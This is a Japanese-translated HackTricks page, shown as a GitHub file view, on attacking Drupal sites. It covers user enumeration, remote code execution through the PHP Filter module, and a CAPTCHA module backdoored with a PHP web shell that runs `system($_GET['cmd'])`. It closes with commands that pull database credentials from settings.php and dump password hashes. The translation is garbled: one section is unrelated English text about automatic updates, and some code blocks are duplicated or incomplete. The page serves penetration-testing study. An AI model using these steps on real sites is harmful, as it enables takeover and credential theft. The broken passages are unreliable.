hacktricks/network-services-pentesting/pentesting-web/drupal.md
2023-07-07 23:42:27 +00:00

201 lines
13 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Drupal
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
## Discovery
* **メタ**をチェックする
```bash
curl https://www.drupal.org/ | grep 'content="Drupal'
```
* **ノード**: Drupalは**ノードを使用してコンテンツをインデックス**します。ノードはブログ投稿、投票、記事など、**何でも保持**することができます。ページのURIは通常、`/node/<nodeid>`の形式です。
```bash
curl drupal-site.com/node/1
```
## 列挙
Drupalはデフォルトで**3種類のユーザー**をサポートしています:
1. **`管理者`**: このユーザーはDrupalウェブサイトを完全に制御できます。
2. **`認証済みユーザー`**: これらのユーザーはウェブサイトにログインし、権限に基づいて記事の追加や編集などの操作を行うことができます。
3. **`匿名`**: すべてのウェブサイト訪問者は匿名として指定されます。デフォルトでは、これらのユーザーは投稿の読み取りのみが許可されています。
### バージョン
* `/CHANGELOG.txt`をチェックします。
```bash
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
```
{% hint style="info" %}
Drupalの新しいインストールでは、デフォルトで`CHANGELOG.txt`と`README.txt`ファイルへのアクセスがブロックされます。
{% endhint %}
### ユーザー名の列挙
#### 登録
_/user/register_でユーザー名を作成しようとすると、既に使用されている場合に通知されます
![](<../../.gitbook/assets/image (254).png>)
#### 新しいパスワードのリクエスト
既存のユーザー名の新しいパスワードをリクエストする場合:
![](<../../.gitbook/assets/image (255).png>)
存在しないユーザー名の新しいパスワードをリクエストする場合:
![](<../../.gitbook/assets/image (256).png>)
### ユーザー数の取得
_/user/\<number>_にアクセスすると、既存のユーザー数を確認できます。この場合、_users/3_は見つからないエラーを返します
![](<../../.gitbook/assets/image (257).png>)
![](<../../.gitbook/assets/image (227) (1) (1).png>)
### 隠しページ
**`/node/$`という形式でFuzzする**$は1から500までの数値。\
検索エンジンによって参照されていない**隠れたページ**(テスト、開発)を見つけることができます。
#### インストールされたモジュールの情報
```bash
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
```
### 自動
Drupal has a built-in feature called "Automatic Drupal Core Updates" that allows the system to automatically update the Drupal core when new security releases are available. This feature can be enabled by navigating to **Administer > Configuration > Development > Automatic Updates**.
Drupal also provides a command-line tool called `drush` that can be used to automate various tasks, including updating Drupal core and modules. The `drush pm-update` command can be used to update Drupal core and modules to their latest versions.
Automating the update process can help ensure that your Drupal installation is always up to date with the latest security patches, reducing the risk of vulnerabilities being exploited.
However, it is important to note that automatic updates should be used with caution, as they can potentially introduce compatibility issues or break customizations. It is recommended to thoroughly test updates in a development environment before applying them to a production site.
To disable automatic updates, simply navigate to the **Automatic Updates** configuration page and uncheck the "Enable automatic updates" option.
```bash
droopescan scan drupal -u http://drupal-site.local
```
## RCE
### PHPフィルターモジュールを使用する
{% hint style="warning" %}
Drupalの**古いバージョンバージョン8より前**では、管理者としてログインし、**`PHPフィルター`モジュールを有効化**することが可能でした。このモジュールは「埋め込まれたPHPコード/スニペットを評価する」機能を提供します。
{% endhint %}
**プラグインphpがインストールされている必要があります**_modules/php_にアクセスして**403**が返される場合は、**存在します**。**見つからない**場合は、**プラグインphpがインストールされていません**
_Modules_に移動 -> (**チェック**) _PHP Filter_ -> _Save configuration_
![](<../../.gitbook/assets/image (247) (1).png>)
次に、_Add content_をクリック -> _Basic Page_または_Article_を選択 -> _本文にphpシェルコードを記述_ -> _Text format_で_PHP code_を選択 -> _Preview_を選択
![](<../../.gitbook/assets/image (253) (1).png>)
最後に、新しく作成したノードにアクセスしてください:
```bash
curl http://drupal-site.local/node/3
```
### PHPフィルターモジュールのインストール
バージョン8以降、[PHPフィルター](https://www.drupal.org/project/php/releases/8.x-1.1)モジュールはデフォルトでインストールされていません。この機能を利用するには、モジュールを自分でインストールする必要があります。
1. Drupalのウェブサイトから最新バージョンのモジュールをダウンロードします。
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
2. ダウンロードが完了したら、**`管理`** > **`レポート`** > **`利用可能な更新`**に移動します。
3. **`参照`**をクリックし、ダウンロードしたディレクトリからファイルを選択し、**`インストール`**をクリックします。
4. モジュールがインストールされたら、**`コンテンツ`**をクリックして、Drupal 7の例と同様に**新しい基本ページを作成**します。再度、**`テキスト形式`のドロップダウンメニューから`PHPコード`を選択**することを忘れないでください。
### バックドア付きモジュール
バックドア付きモジュールは、**既存のモジュールにシェルを追加する**ことで作成できます。モジュールはdrupal.orgのウェブサイトで見つけることができます。[CAPTCHA](https://www.drupal.org/project/captcha)のようなモジュールを選びましょう。下にスクロールして、tar.gz形式の[アーカイブ](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz)のリンクをコピーします。
* アーカイブをダウンロードして、その内容を抽出します。
```
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```
* 以下の内容で**PHPウェブシェル**を作成します:
```php
<?php
// PHP code here
?>
```
* 以下の内容で**PHPウェブシェル**を作成します:
```php
<?php
system($_GET["cmd"]);
?>
```
* 次に、フォルダへのアクセス権限を自分自身に与えるために **`.htaccess`** ファイルを作成する必要があります。これは、Drupalが **`/modules`** フォルダへの直接アクセスを拒否するため、必要です。
```html
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
```
* 上記の設定は、/modules内のファイルをリクエストする際に、/フォルダに対してルールを適用します。これらのファイルをcaptchaフォルダにコピーし、アーカイブを作成してください。
```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* ウェブサイトへの**管理アクセス**があると仮定し、サイドバーの**`管理`**をクリックし、次に**`拡張`**をクリックします。次に、**`+ 新しいモジュールをインストール`**ボタンをクリックし、インストールページに移動します。例えば、`http://drupal-site.local/admin/modules/install`に移動します。バックドアが仕込まれたCaptchaのアーカイブを参照し、**`インストール`**をクリックします。
* インストールが成功したら、**`/modules/captcha/shell.php`**にアクセスしてコマンドを実行します。
## ポストエクスプロイテーション
### settings.phpを読む
```
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
```
### DBからユーザーをダンプする
```bash
# Dump users from DB
drush sql-query "SELECT name, pass FROM users"
```
このコマンドは、Drupalのデータベースからユーザー情報をダンプします。
```
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
```
## 参考文献
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>